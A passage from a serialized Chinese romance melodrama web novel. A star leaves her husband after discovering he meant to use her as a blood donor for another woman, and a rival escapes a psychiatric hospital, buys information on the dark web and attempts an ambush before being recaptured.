【作为圈内人挺想笑的,颜佳雨本来就是个自私自利的女人,圈内没几个人看得上她,就是黎总身边那几位,韩家的江家的盛家的哪个看得上她?都因为当初那场车祸后恨死她,偏偏黎云笙拦着,所以她才能在圈内逍遥自由。你们猜她当初为什么跟黎云浩在一起?因为那阵子黎云笙车祸后都在说他身体病弱活不了多久,颜佳雨只想嫁给大家族的继承人,眼见黎云笙没有机会继承黎家所以转而联系黎云浩。黎云浩也是个狗东西,他喜欢颜佳雨吗?当然不喜欢,可偏偏颜佳雨是黎云笙喜欢的人所以故意答应跟她订婚就为了刺激黎云笙,这两人完全的狗男女,现在颜佳雨出事,黎云浩第一时间甩了她,这两人已经一拍两散了,她也别指着黎云笙再救她了,因为在一次晚宴上颜佳雨联合黎云浩那个私生子设计陷害黎云笙,黎云笙已经看透她了,所以他不会再护着她,你们以为颜佳雨黑料为什么一下子全都冒出来了!因为黎云笙因为黎氏不在管她了!】 【该说不说颜佳雨是真活该啊,就黎云笙那么喜欢她就算真的出了事怎么会不给她想后路,要怪只能怪颜佳雨太贪婪,她背叛了黎云笙还想要利用黎云浩成为黎氏的少夫人,她能做出这种事,这辈子跟黎氏都无缘了。】 【好恶心真的好恶心,作为一个曾经粉过颜佳雨的人真觉得想吐。】 【所以颜佳雨之前就是故意的要针对温栩栩不想让温栩栩在圈内起来对吧!她就是嫉妒温栩栩!】 【这个女人真的好狠。】 【成了精神病也是活该,往后没人再护着她了。】 【谁知道是不是真的精神病啊,万一是有人知道黎云笙不再护着她了,她又得罪了这么多人被人故意设计说是精神病呢,这才是最大的报复吧。】 【看完全程我真的气死了,颜佳雨是怎么能这么狠的啊,如果我是颜佳雨我真的不会离开黎云笙啊,车祸就被自己喜欢的人抛弃未婚夫还是自己恨之入骨的私生子哥哥,光是代入就气的浑身发抖。】 【就这颜佳雨还买自己跟黎总的热搜,她真是有病!】 【不是?真没人知道颜佳雨本名不叫颜佳雨叫苏羽馨吗?只是之前苏羽馨曾经出过点事,所以出道的时候也似乎黎云笙为她磨平了那些痕迹没让人查到她是苏羽馨。】 【黎总到底是什么顶级恋爱脑啊,怎么不给我一个这么恋爱脑的总裁!】 网络上有关颜佳雨的事众说纷纭,颜佳雨所作所为一再被热议。 盛世。 盛景炎车祸的时间不算久,江惊蛰虽然医术不错但毕竟不是专精这个的,苏青莲的医疗团队在这方面比他更专业,盛景炎现在已经能短暂的站起来,已经在复建了。 之前还不能短暂行走总是会摔倒的时候盛景炎不想许愿陪着,许愿当然知道盛景炎有独属于他自己的自尊心,所以她没有逼着盛景炎,不过现在他已经几乎不会摔了,可以扶着栏杆支撑的长时间行走。 许愿看到这一幕就好像想到当初意气风发的盛景炎,她会看文件的时候偷偷去追着盛景炎看,看着看着就眼尾弯弯忍不住笑起来。 看完需要回复的文件又做了些批注,许愿就这么抬着头看向不远处的爱人。 她站起来走过去。 “盛景炎。”许愿叫他的名字。 他是真的很高,一米九的身高,纵然许愿有一米七在他面前也显得有点娇小。 “你就这样站着亲亲我。” 许愿抬头望着他,眉眼弯弯的几乎望进他的眼中,能感受到他眼底勾勒出的深情。 盛景炎一手扶着横栏,俯身时许愿已经垫脚吻了上来,这样很轻很轻的一个吻,却是许愿想了很久的吻。 她只是一触即分,也是怕盛景炎支撑不住摔倒。 她还是笑着的,笑着看他:“等你恢复好后我要抱着亲亲,还要你背着我回家!” “好,你想怎么样都好。” 盛景炎自然是全都依她。 临回家前,许愿去段星河的研究室走了一遭,两人就着一段代码重新推算演练,等许愿要走的时候段星河才叫住她。 “你没看今天的热搜吗,有关温栩栩的。” 许愿眼神果然一厉:“栩栩出事吗?” 段星河坐到沙发上舒服的长叹一声方才开口:“你自己看看吧,温栩栩打算离开黎氏娱乐了,网上不少人在跟风骂她,黎氏那边撤了热搜特地买了颜佳雨的热搜上去,不过温栩栩决定离开黎氏跟黎氏解除合作代言的消息还挂在她的微博上。” 许愿了解温栩栩,温栩栩不会因为一点小事就要离开黎氏,她和黎云笙是夫妻关系,怎么会闹这么大? 还是说黎云笙做了什么伤害温栩栩的事? 许愿猜不到,也想不明白。 “我知道了,我会联系栩栩问清楚原因的。” 许愿留下这句话方才跟盛景炎离开。 才上车,许愿就问他:“你知道黎云笙和栩栩之间发生什么了吗?栩栩要离开黎氏娱乐。” 第661章 黎云笙,你放过我吧 “阿愿,最近我一直跟你在一起,这件事后我还真的不知道。” 如果知道,盛景炎绝不会瞒着她。 许愿垂眸:“我担心栩栩,我要给栩栩打个电话。” …… 夜色如墨,城市的霓虹灯在雨后的街道上投射出斑斓的光影。 温栩栩独自坐在她最爱的那家小酒吧里,周围是轻柔的爵士乐和低声细语的人群,但这一切都无法穿透她内心的孤寂与哀伤。 酒杯中的液体映着暖黄色的灯光,折射出微弱的光芒,仿佛是她此刻心中唯一一点闪烁的希望。然而,每一次轻轻晃动酒杯,那些破碎的光斑都像是对她心灵深处那份她以为是爱情最后是笑话的讽刺。 黎云笙的名字如同一把锐利的刀,在她心上刻下了深深的痕迹,更衬得她像是小丑。 她举起酒杯,轻轻抿了一口,并未打算让自己沉醉于酒精之中。因为她知道,真正的痛苦无法通过麻痹自己来逃避。每一口酒下肚,带来的不是遗忘,而是更加清晰的记忆——那些被她珍藏起来的美好瞬间,以及最终让她心碎的真相。 回忆像潮水般涌来,曾经黎云笙温柔的眼神、他们共同度过的每一个微笑与拥抱,如今都蒙上了一层难以言说的苦涩。 她曾以为自己找到了那个能与之共度一生的人,却不料只是另一个人的替身,一个随时准备为别人奉献一切的“血库”。 孤独的感觉从未如此强烈过,即便身边围绕着熙熙攘攘的人群。她仍然感觉自己像是置身于一座孤岛之上,四周是无尽的海洋,而她是这片汪洋中唯一的漂泊者。 没有方向,没有归宿,只有不断侵蚀着心灵的寂寞与悲伤。 温栩栩的目光穿过酒吧的窗户,望向外面的世界。 街头巷尾,人们匆匆走过,每个人都似乎有着自己的目的地,唯有她,迷失在这段感情的废墟之中,不知道前方等待她的会是什么。 电话铃声在寂静的酒吧包厢里突兀地响起,划破了温栩栩内心那片沉重的沉默。她微微一怔,从对往事的沉思中被拉回现实,目光从酒杯上移开,瞥了一眼来电显示——是许愿。 “喂,阿愿。”她的声音听起来比想象中要平静许多,只是那丝勉强隐藏的苦涩仍无法完全掩饰。 “栩栩,我刚听你跟黎云笙闹矛盾了还要离开黎氏娱乐?怎么回事?”许愿的声音充满了关切与担忧,透过电波传递过来,仿佛试图穿透这层虚伪的平静,触及到温栩栩真正的心境。 温栩栩闭了闭眼睛,深吸一口气,努力让自己的语气听起来更加轻松自然。 “没什么大不了的事。就是一点小矛盾,你知道男人嘛,有时候脑子转不过弯来。我现在正让他好好反省呢,等他想通了自然会来道歉求我回去的。” 尽管话是这么说,但她心里清楚,这一切都只是自欺欺人。 他们之间的裂痕早已深入骨髓,远非一句道歉就能轻易弥合的。 然而,面对许愿的好意询问,她只能选择将这份痛苦独自咽下,不让任何人看出端倪。 她瞒着那些就是因为她还在乎黎云笙,她知道许愿不会让她平白被欺负却什么都不做,许愿一定会针对黎云笙,报复黎云笙。 这不是她想看到的……而且,她更担心黎云笙被逼下说出当初她靠近黎云笙的真相。 她不想黎云笙受伤,也不愿许愿受伤。 所以最终真正受伤的到底是只有她一个。 许愿似乎察觉到了什么,但并未继续追问下去,“那你现在在哪里?要不要出来散散心?一个人待着也不好。” 温栩栩强挤出一丝微笑,尽管对方看不见,“不用了,我就想自己静静。你也知道我的脾气,总得给他点时间想想清楚。” “好吧,要是有什么需要帮忙的,随时给我打电话。”许愿的话语中带着不舍与关心,这让温栩栩感到一阵温暖的同时,也更加强烈地感受到内心的那份孤独与无奈。 挂断电话后,温栩栩重新拿起酒杯,凝视着杯中的液体,思绪再次飘回到那些让她心碎的画面。 她知道,无论未来如何发展,有些伤痛注定会成为生命中难以磨灭的一部分。而现在,她能做的,只有装作无事发生,等待时间慢慢治愈一切。即使这过程漫长而艰难,她也必须面对。 看了眼时间,已经不早了。 温栩栩戴上墨镜和帽子,试图在夜色的掩护下悄悄离开酒吧。 然而,即使她再怎么小心翼翼,还是在她快要走到门口的时候,一个醉醺醺的男人认出了她,并不顾一切地凑了上来。 “这不是温栩栩吗?当红的大明星居然会出现在这种地方!”男人的声音带着酒气,他的手不规矩地伸向她的肩膀,试图拉住她。 温栩栩的心瞬间沉了下去,她努力保持镇定,想要摆脱这个男人的纠缠。 “对不起,你认错人了。”她的声音冰冷而坚决,但对方显然没有要放手的意思。 就在这时,一阵熟悉的气息悄然靠近,紧接着是一道熟悉的声音响在身后。 “放开她。” 温栩栩身体微微发抖。 是黎云笙。 黎云笙的动作迅速而果断,他一把推开那个醉汉,将温栩栩紧紧抱在怀里,仿佛生怕一松手她就会消失不见。 “跟我回家。”他的语气不容置疑,却满含着对她的眷恋与不舍。 温栩栩抬起头,看着眼前的黎云笙,心中五味杂陈。 曾经的甜蜜与痛苦交织在一起,让她一时之间难以分辨自己的情感。 “我不会跟你回去的,我还有自尊,还没有那么下贱!”她咬牙说道,眼中闪过一丝倔强与决绝。 黎云笙的脸色顿时变得苍白。 黎云笙紧紧握住她的手臂,“那些事都过去了,以后你会是唯一的黎家少夫人,我保证。” “可我怕了,”温栩栩的声音颤抖着,泪水在眼眶中打转,“我怕我的枕边人随时会用刀刺向我的心脏,放干我的血。黎云笙,你放过我吧。” 听到这里,黎云笙感到内心深处涌起一股无法言喻的痛苦与绝望。 第662章 阿愿不会放过你 他所做的一切伤害已经深深烙印在她的心底,成为了一道无法逾越的鸿沟。 黎云笙还是不肯放弃,“栩栩,给我一次机会,让我们重新开始。” “我们怎么重新开始呢?黎云笙,你告诉我,怎么开始?” “我们最初不是源于爱,我对你是利用,你呢?拿我当替身,我们之间的一切都是源于情欲爱欲,但没有任何爱!” “你当初对我那么好其实不过是弥补,因为你知道未来的一天我会死,会为了你真正爱的颜佳雨而死,所以你给了我那么多资源只是为了用这些东西来换我的命。” “你做了这么多事,我还要怎么相信你?” “我怕我继续跟你在一起有一天会不明不白的死在你的床上!” 她眼神里都带着明显的痛苦,温栩栩摇了摇头,唇角的笑意都带着明显的苦涩,她很轻很轻的叹了口气,像是在对自己说又像是在对黎云笙说。 “别再来纠缠我了,你也知道许愿现在的实力,如果你还要继续纠缠我,我不知道会对许愿说什么,她会帮我解决你。”她的话平静的好像对他再没有任何感情。 黎云笙知道,这次她是铁了心要离开了。 他无力地松开手,眼神中的痛苦几乎要将他吞噬。 “栩栩……” “以前的事算过去了,向前看吧。”温栩栩轻声说道,转身离去。每一步都像是踩在自己破碎的心上,但她知道,只有这样,才能真正解脱。 她要离开黎云笙,她必须离开黎云笙。 她不要那么没用,为了所谓的承诺所谓的爱继续留在他身边,被他肆无忌惮的伤害。 她有自己的追求。 黎云笙沉默的看她上车,由助理开车离开,他默默地送她回到家才站在公寓楼下抽了一根又一根的烟。 盛景炎趁着许愿洗澡的时间才给黎云笙去了电话。 他没有当许愿的面打给他就是担心许愿知道真相会为温栩栩做出点什么无法挽回的事。 “你和温栩栩之间到底因为什么。” 等电话接通,盛景炎直接问了。 黎云笙沉默片刻,呼吸都好像是颤抖着:“你知道颜佳雨心脏有问题,身体一直不好,温栩栩的血型跟颜佳雨一样,且完美配型……” 这句话就代表了一切。 只一句话盛景炎就想到了很多。 所以最开始黎云笙跟温栩栩在一起不只是因为温栩栩的容貌像颜佳雨,更因为温栩栩的血型。 “你疯了……黎云笙你真是疯了!” 盛景炎这么聪明的人怎么会猜不到呢? 当初颜佳雨步步紧逼的针对温栩栩,几乎是根本没把温栩栩当人看,那时候颜佳雨应该就已经知道温栩栩是她的血库了,所以才会对温栩栩那般不留情面,因为在她心里温栩栩迟早要死的。 一个死人,她凭什么给面子。 “阿愿知道这些不会放过你的。”盛景炎语气沉重。 他知道许愿有多在意温栩栩,温栩栩是跟她一起长大的,不是亲姐妹胜似亲姐妹,如果她一早知道温栩栩在黎云笙眼里早就是死人,她该有多恨。 她一定会不惜一切代价毁掉黎家毁掉黎云笙。 黎云笙声音平静中带着明显的凉意:“如果能让她回来,随便许愿怎么对我,我都受着。” 他只想要温栩栩回来。 可温栩栩怎么能回来呢? 她们最初就是交易,交易中不存在于任何爱意,他甚至盯上了她的命,她怎么会接受一个想要她命的男人呢? 诚然许愿和盛景炎的开始也是源自于身份和利用,可盛景炎对许愿一直都是尊重的,他从没有伤害过许愿。 而他呢?他一直在伤害温栩栩,甚至纵容颜佳雨伤害温栩栩。 温栩栩知道她是替身的时候她没有生气没有跟他分开,可他还想要她的命……她如何不怕如何不恨如何不躲。 黎云笙嗓音带着点哑意:“她不会原谅我了。” 不会原谅她,也不会再回来了。 “你们的事我不会主动跟阿愿提起,温栩栩没有告诉阿愿真实原因,想来也是不希望阿愿对付你……你好自为之吧。” 盛景炎不知道自己还能说什么,最终还是叹了口气挂断电话。 想让温栩栩原谅黎云笙,真的很难。 退一步讲,如果他是温栩栩他也不会原谅黎云笙。 …… 夜幕低垂,精神病院阴森的走廊里,灯光昏黄而摇曳,仿佛随时都会熄灭。 空气中弥漫着一股刺鼻的消毒水味,混合着病人们偶尔发出的尖叫和呻吟,令人毛骨悚然。 墙壁上的油漆剥落得厉害,露出里面斑驳的砖石,仿佛在诉说着这里的破败与荒凉。 铁栅栏门不时发出“嘎吱”的声音,如同鬼魂在叹息。 颜佳雨蜷缩在床底下,黑暗中她的眼睛闪烁着仇恨的光芒。 这里的一切都让她感到绝望——冰冷的地面、狭窄的空间以及那无尽的孤独。每一次呼吸都像是被痛苦和怨恨填满,她的双手紧紧握成拳,指甲深深嵌入手心,但即便如此,也感觉不到疼痛。 所有的痛楚,都被内心深处对许愿和温栩栩的恨意所掩盖。 “这一切都是因为许愿!”她在心里嘶吼,每一个字都充满了无尽的愤怒和决心,“我一定要逃出去,我要报复,让她们付出代价!” 这种念头像是一团燃烧的火焰,在她心底熊熊燃烧,驱使着她不顾一切地想要挣脱这束缚。即使身体被困在这黑暗的精神病院,但她的心早已飞向了外界,想象着如何亲手将那些曾经伤害过她的人拖入更深的地狱。 她在策划着自己的逃脱计划,等待着那一天的到来,当她重获自由之时,便是她开始复仇之日。 她绝对,绝对不会放过温栩栩和许愿。 她一定会让她们付出惨痛的代价! 黎云浩踏入精神病院的那一刻,一股刺鼻的气味扑面而来,其中夹带着绝望与疯狂交织的气息。 他缓缓走近颜佳雨所在的病房,昏黄的灯光下,她狼狈的模样一览无余。 第663章 狼狈为奸 颜佳雨头发凌乱,几缕发丝黏在汗湿的脸颊上,双眼因长时间处于黑暗中而显得格外突出,眼神中充满了混乱和恐慌。 她的衣服皱巴巴的,沾满了灰尘和污渍,显然已经很久没有换过了。蜷缩在床下的姿势,让她看起来更加渺小无助,然而这一切并没有激起黎云浩哪怕一丝一毫的同情。 “你看看你现在这个样子,”黎云浩冷冷地说道,“活该有这样的下场。” 他的声音里没有丝毫温度,仿佛面前的不是自己曾经的未婚妻,而是陌生人。 但就在这一刻,颜佳雨像是抓住了最后一根救命稻草般,猛地从床底下冲了出来,紧紧抓住黎云浩的手臂,急切地说:“黎云浩,救我出去,放我出去,我没疯,是他们要报复我!” 她的手指深深嵌入黎云浩的肉里,显示出她求生的渴望。 黎云浩看着她,脸上没有任何表情,只是淡淡地说:“你就是疯子。” 然而颜佳雨并未放弃,她的眼神突然变得犀利起来,仿佛找到了转机。 “你不恨吗?你不想要黎家的一切吗?你不想报复黎云笙吗?”她的话像是一把锋利的剑,直击黎云浩内心深处最隐秘的角落。 黎云浩的身体微微一震,眼中闪过一丝难以察觉的动摇。 颜佳雨看在眼里,心中暗喜,知道自己的话触动了他。 她继续蛊惑道:“只要你帮我出去,我能报复他们,你帮我就是帮你自己。想想看,我们两个联手,谁还能阻挡我们的脚步?我们可以夺回属于我们的一切!” 颜佳雨的声音低沉而充满诱惑,每一个字都像是精心编织的网,试图将黎云浩彻底拉入她的计划之中。 她的眼神中既有对自由的渴望,也有对未来复仇的期待,这种复杂的感情混合在一起,试图穿透黎云浩心中的防线。 她知道黎云浩隐藏着一颗同样渴望复仇的心,只要能够点燃这团火,她就能实现自己的目的。 黎云浩的眼神在颜佳雨的话语落下后变得异常复杂,仿佛一片深不见底的湖水,表面平静却暗潮涌动。 他的内心被两种截然不同的情绪撕扯着。 一方面是对过去种种不公遭遇的深深怨恨,这股怨恨如同潜伏在他心底的一条毒蛇,随时准备冲破他理智的枷锁;另一方面,则是多年来养成的谨慎与怀疑,这种心态使他对任何突如其来的“机会”都保持着高度警惕。 “真的能帮我报复他们?” 黎云浩的声音带着一丝不易察觉的颤抖,这不仅是对复仇可能性的探询,更是对自己内心深处那片黑暗角落的叩问。 他的眼神中闪过一抹贪婪——那是对权力、对复仇渴望的瞬间流露,但紧接着又被深深的疑虑所掩盖。 颜佳雨似乎看出了黎云浩内心的挣扎。 颜佳雨迅速补充道:“当然,你放我出去我会说是自己逃出去的,就算我被抓了也连累不到你,对你没有任何坏处。” 她的声音坚定而急切,试图用最直接的方式消除黎云浩心中的顾虑。 听到这里,黎云浩的目光变得更加凝重。 他的眉头紧锁,在这短暂的沉默中,无数念头在他的脑海中飞速旋转。 如果相信颜佳雨,或许真能抓住这个千载难逢的机会,一雪前耻;但如果这是一个陷阱,那么他将不仅失去翻身的机会,还可能陷入更深的绝境。 他的眼神里既有对未来的憧憬——想象着自己站在那些曾经轻视、伤害过他的人面前,看着他们惊恐和后悔的表情;也有对未知恐惧的隐忍——害怕再一次被背叛,害怕所有的希望最终化为泡影。 种种情绪交织在一起,让黎云浩的脸庞显得格外阴沉,仿佛一场暴风雨即将来临前的压抑天空。 黎云浩深深地凝视着颜佳雨,那目光仿佛能穿透她的灵魂,试图在她的眼中寻找哪怕一丝丝的犹豫或欺骗。 他的声音低沉而充满威胁,每一个字都像是从牙缝中挤出来的:“你最好记住你说的,如果你连累我,我也会让你生不如死。” 话音落下,空气中似乎弥漫起了一股冰冷的气息将两人紧紧包裹其中。 颜佳雨迎上了黎云浩的目光,毫无退缩之意。 她的脸上闪过一丝决绝,眼神中燃烧着熊熊烈火,那是对许愿和温栩栩深深的恨意。 “我只想报复许愿和温栩栩,绝对不会连累你。”她的声音虽然平静,但却透着一股不容置疑的决心,仿佛已经为这场复仇谋划了无数个日夜。 她的眼神变得愈加狂热,几乎要喷出火焰来,“他们毁了我的一切,让我失去了所有,这份仇恨,我一定要亲手讨回来。” 她的话语中没有丝毫的动摇,只有无尽的怨念和决心,颜佳雨的表情冷硬如铁,但又透露出一种令人不寒而栗的疯狂。 黎云浩盯着她看了片刻。 “后天晚上你房间的门锁会因为年老失修坏掉,精神病院的后门会开着。趁着那个时间逃出去,如果逃不出去,你也就没有任何可以利用的价值。” 黎云浩的声音在寂静的房间里显得格外清晰,每一个字都如同冰冷的刀锋,直直地切入颜佳雨的心中。 他的眼神里没有丝毫温度,仿佛在陈述一个再普通不过的事实,“你会被一辈子关在这里,直到老直到死。那就是你的命了。” 颜佳雨紧紧地咬着下唇,直到尝到了一丝血腥味,但她的眼神却没有丝毫动摇。 她直视着黎云浩的眼睛,那目光中的坚定与决心几乎要燃烧起来:“我会逃出去的,我还要报复那些人!他们夺走了我的一切,我绝不会就这样放弃。” 黎云浩深深的看了她一眼,很快掩饰住了自己的内心的嘲讽,只是默默地点了点头,转身离开了房间,留下了一个背影给颜佳雨。 他当然不在意颜佳雨死活。 颜佳雨能离开那就有点价值,反正是精神病院没看好人,跟他有什么关系? 第664章 逃离 黎云浩心里很清楚,颜佳雨能报复许愿和黎云笙最好,报复不了也跟他无关,自会有人收拾颜佳雨,不论最终受伤的是谁他都只会看戏。 …… 深夜的风,像刀刃一样划过精神病院那扇摇摇欲坠的后门。 颜佳雨站在门前,心跳声在耳边轰鸣,仿佛要冲破胸腔。她知道,这可能是她唯一的机会,也是最后的机会。 按照黎云浩所说的,门锁确实因为年久失修而变得脆弱不堪,只需轻轻一推,门便悄无声息地开了。 她小心翼翼地迈出第一步,每一步都显得异常沉重。 脚下的碎石发出细微的响动,像是随时可能惊醒沉睡中的恶魔。月光下,她的影子孤独而坚定地向前延伸。 周围静谧得可怕,只有偶尔传来的夜鸟叫声打破了这份死寂。颜佳雨尽量贴着墙边走,阴影成了她唯一的掩护。她知道,一旦被发现,所有的努力都将化为泡影。 就在她快要接近医院围墙的时候,突然听到了一阵脚步声。 她的心猛地提到了嗓子眼,迅速躲进了一个角落里。透过缝隙,她看到一个守卫正拿着手电筒在巡逻。他的步伐虽然缓慢,但每一次经过都让颜佳雨感到如履薄冰。 时间仿佛凝固了一般,每一秒都像是永恒。她屏住呼吸,连大气都不敢出,生怕最轻微的声音都会暴露自己的位置。 守卫的手电筒光束扫过她的藏身之处,那一瞬间,她感觉整个世界都停止了转动。好在光线只是短暂地掠过,没有停留。 随着脚步声逐渐远去,消失在了黑暗中,颜佳雨松了一口气,但她的心脏还在狂跳不止。 她不敢立刻起身,而是等待了几秒钟,确保安全后才继续前进。 翻越围墙时,她用尽全力攀爬,手指紧紧抓住粗糙的砖头,指尖传来刺痛的感觉。落地时,尽管她已经尽量轻柔,但还是发出了轻微的声音。 她立刻蹲下身子,环顾四周确认是否有人听到。还好周围依旧寂静无声。 几分钟后,她在一棵大树后面找到了黎云浩为她准备的东西。打开一看,里面不仅有换洗衣物,还有现金和一张假身份证。 她迅速换下了身上的病服。 颜佳雨换好衣服带好墨镜和口罩招手叫了一辆出租车。司机好奇地看了她一眼,但并没有多问。颜佳雨只说了个A市较为偏僻的地区,下车后找了个便宜的旅馆。 当她走进那家破旧的小旅馆时,一股陈旧的气息扑面而来。 前台的服务员是个满脸皱纹的老头,他只是懒洋洋地瞥了她一眼,接过钱后递给她一把钥匙。 “二楼,走廊尽头。”老头嘟囔了一句,便不再理会。 楼梯间昏黄的灯光忽明忽暗,仿佛随时都会熄灭。每走一步,木地板都会发出嘎吱嘎吱的声响,似乎在诉说着岁月的沧桑。 到达房间门口时,门锁也有些卡顿,她费了好大劲才将门推开。 房间里弥漫着一股霉味,墙壁上都是斑驳的痕迹,墙皮都快脱落。床上的被褥看起来并不干净,但此刻的她已经无暇顾及这些细节。 她坐在床边,望着窗外漆黑一片的夜空,心中五味杂陈。逃离的过程虽然艰辛,但这仅仅是个开始。 夜幕再次降临,颜佳雨的心中却燃烧着一团火焰。自从逃离精神病院后,她就躲在这家破旧的小旅馆里,每天都在计划下一步该如何行动。 她终于得知暗网的消息,打开笔记本电脑,连接上了酒店提供的不稳定Wi-Fi。屏幕的蓝光在昏暗的房间里显得格外刺眼。 颜佳雨深吸一口气,打开用于访问暗网的工具。 她的手指微微颤抖,输入了一串复杂的网址,这些网址看起来就像一串毫无意义的字符组合,但实际上却是通往一个完全不同的网络世界的大门。 随着页面加载完毕,黑暗的世界在她面前展开,这里没有光明,只有无尽的阴影和秘密。 她迅速找到了之前联系过的那位神秘联络人。 这是一位在网络上以“影子”自称的人物,据说能够提供任何信息,只要你愿意付出相应的代价。 颜佳雨还记得第一次与“影子”接触时的情景,那种紧张和不安至今仍让她记忆犹新。但现在,她已经没有退路了。 屏幕上,“影子”的对话框闪烁了几下,显示出对方在线的消息。 颜佳雨的手指悬停在键盘上,犹豫片刻后,她开始打字:“我要查一个人最近的行程。” 很快,“影子”回复道:“谁?” “温栩栩。”她打出这个名字时,感觉自己的心跳似乎都停顿了一下。 短暂的沉默之后,“影子”发来了一条消息:“你确定吗?你要查温栩栩,温栩栩背后有黎云笙和许愿,你真的要查她?。” 颜佳雨冷笑了一声,虽然对方看不见,但她还是觉得这样能稍微缓解一下内心的紧张。 “我比任何人都清楚这一点。” 接下来的几分钟里,“影子”发了个她疯了的表情包,但还是给了她消息。 当所有必要的信息都被提交后,“影子”给出了一个报价。 一笔相当可观的报酬,需要支付暗网的通行货币。颜佳雨迅速检查了自己的数字钱包,发现里面还存有足够的资金来完成这笔交易。于是,她毫不犹豫转账并等待进一步的指示。 大约过了半小时,“影子”发来了新的消息:“有关温栩栩的消息已经发给你,不过别怪我没提醒你,温栩栩不是谁都能随意招惹的,惹了她就要承担相应的后果。” 看到这条消息,颜佳雨感到一阵兴奋夹杂着恐惧。 她知道自己正站在一条危险的边缘,前方的道路充满了未知和风险。但她也明白,这是她复仇的唯一机会。 她恨温栩栩,她要报复!所以她绝不会后退! 为了确保万无一失,颜佳雨开始仔细规划接下来的步骤。她需要伪装自己,避免被人认出。 第665章 她一定要把真相告诉许愿! 颜佳雨在附近的二手商店买了一些简单的衣物和假发,甚至还购买了一副有色隐形眼镜来改变眼睛的颜色。 接着,她标记出了温栩栩参与录制综艺游乐园的所有的出入口和潜在的安全隐患点。最后,她准备了一些基本的自卫工具,如喷雾剂和小型电击器,以防万一。 第二天傍晚,颜佳雨换上了事先准备好的服装,戴上了假发和隐形眼镜,对着镜子检查了一遍又一遍,直到确认自己已经完全变成了另一个人。 她拿起背包,装好所有必需品,然后悄悄离开了旅馆。 外面的天色已晚,街道上行人稀少,偶尔有几辆汽车匆匆驶过。 颜佳雨沿着预定路线前往城东,心中既紧张又期待。 到达目的地后,她已经花钱买通了其中一个关卡的工作人员,她躲在鬼屋里面等着抓住温栩栩,可时间一分一秒地流逝,她的耐心也在逐渐消磨殆尽。 突然,其中一个男抬起头来,目光似乎直接穿透了黑暗,落在了颜佳雨的方向。 她的心猛地一紧,立刻缩回了头,屏住呼吸。过了好一会儿,见没有任何动静,她才缓缓探出头来,却发现那群人已经离开了原地。 颜佳雨决定继续跟踪这些人,希望能借此找到温栩栩的确切位置。她悄无声息地跟在他们身后,然而即将踏出鬼屋时,便被几名彪形大汉制伏在地,动弹不得。 “你们是谁?放开我!”颜佳雨挣扎着喊道,但回应她的只有无情的沉默和更紧的束缚。她很快意识到,这些人并不是普通的守卫,而是训练有素的专业保镖。 温栩栩不会这么谨慎,是谁? 许愿!一定是许愿! 颜佳雨浑身发抖,源于对许愿的恐惧。 而他们的主人,则是许愿——那个一直以来都在温栩栩身边保驾护航的人。 许愿出现在鬼屋门口,她眸光冷淡的看着此刻被押解在地上的颜佳雨。 “看来,你还真的没有放弃找栩栩复仇”许愿的声音带着明显的嘲讽意味,“不过,这种程度的小把戏,你真以为你能瞒过我。” 颜佳雨听到这番话,心中的怒火瞬间爆发。 “你算什么东西!你以为你能一直保护着温栩栩吗?总有一天我会让温栩栩付出代价!”她不顾一切地嘶吼着,试图挣脱束缚,但那几名保镖的手臂如同铁钳一般,让她丝毫动弹不得。 许愿缓缓走近,居高临下地看着颜佳雨,眼中没有一丝波澜。 “你觉得,你有什么资格跟我谈条件?”许愿微微俯身,凑近颜佳雨的脸庞,语气中充满冷意,“一个连自己都控制不了的人,还想威胁别人?真是可笑。” 颜佳雨瞪大了眼睛,愤怒与屈辱交织在一起,泪水在眼眶中打转,但她倔强地不让它们落下。 “许愿!我不会放过你们的!我绝对不会放过你们!” 许愿直起身来,拍了拍手,仿佛刚才的一切不过是处理一只恼人的苍蝇。 “送她去我选定的精神病院,那里更适合她。”她对身旁的一名保镖说道,声音平淡得如同讨论今天的天气一样随意。 周围的人迅速行动起来,将颜佳雨强行拖起,准备带离现场。 她拼命扭动身体,试图挣脱,嘴里不停地咒骂:“许愿,你会后悔的!我不会放过你和温栩栩的!” 但许愿只是微微偏头,向她投去了最后一瞥,目光中充满了冷漠与轻视。 “我不在乎你的威胁,也不关心你的命运。对我来说,你不过是一个微不足道的小角色罢了。” 说完,许愿转身离开,她甚至都没有告诉温栩栩颜佳雨逃出来的事,这点小事不需要影响温栩栩的心情。 只是……颜佳雨怎么逃出来的?被谁放出来的? 许愿眸光沉沉。 恐怕是黎云浩。 也对,黎云浩恨着温栩栩和黎云笙,颜佳雨又是个疯子,他必定会利用颜佳雨对付温栩栩和黎云浩,而他反倒是隐形了。 想隐形当个看客?既然掺和进这件事就别想真的清白了。 许愿打开手机发了几条消息给薛酒,赫然是对付黎云浩的消息。 至于颜佳雨,还是精神病院更适合她。 颜佳雨最终还是被送到了许愿安排的精神病院。 这里环境整洁,设施齐全,比之前的精神病院要好上太多,却也意味着她无法继续逃了。 从进入医院的那一刻起,颜佳雨就感受到了一种无形的压力。医护人员表面上对她温和有礼,但那种礼貌背后隐藏着的疏离感,让颜佳雨感到无比压抑。 病房里的墙壁刷成了淡蓝色,给人一种宁静的感觉,但对于此刻的颜佳雨来说,这颜色更像是囚笼的颜色。 她坐在床边,望着窗外那片狭小的天空,心中充满了不甘与愤恨。 “为什么总是这样?为什么我每次都要失败?”她喃喃自语,拳头紧紧握着,指节因为用力过度而发白。 在这个被严密监控的地方,想要逃脱或者采取任何行动几乎是不可能的。许愿似乎已经预见到了这一切,并且做好了万全的准备。 随着时间的推移,颜佳雨逐渐发现,这里的每一个细节都在提醒着她自己的无力。 每天固定的作息时间、规律的药物治疗以及偶尔的心理辅导,都像是无声的枷锁,将她牢牢困住。每当夜深人静时,她总会想起许愿那副冷淡的模样,心中便涌起一股难以抑制的愤怒。 颜佳雨已经快要崩溃了,她不知道自己怎么才能逃出去。 突然,她想到自己查到的有关于温栩栩和黎云笙在一起的资料,她突然开始发狂一般的大笑起来。 “我要见许愿!我要见许愿!” “许愿!你知道温栩栩为什么会跟黎云笙在一起吗!许愿!温栩栩都是为了你啊!” “你不是想知道温栩栩为什么会受那么多伤吗!全都是因为你!” 颜佳雨觉得自己太蠢了,怎么仰才能伤害到温栩栩和许愿还有黎云笙? 将一切的真相告诉许愿就对了。 温栩栩不想让许愿知道一切,就是因为她清楚知道真相的许愿会有多少打击,而知道一切的许愿一定对付黎云笙…… 她一定要把真相告诉许愿! 她要让她们所有人都痛苦! 第666章 痛苦 颜佳雨在精神病院的单人病房里,已经度过了几天看似平静却又内心波涛汹涌的日子。 她的心中充满了不甘与愤怒,每一次回忆起许愿冷淡的笑容,她的心就如同被火焰焚烧一般痛苦。 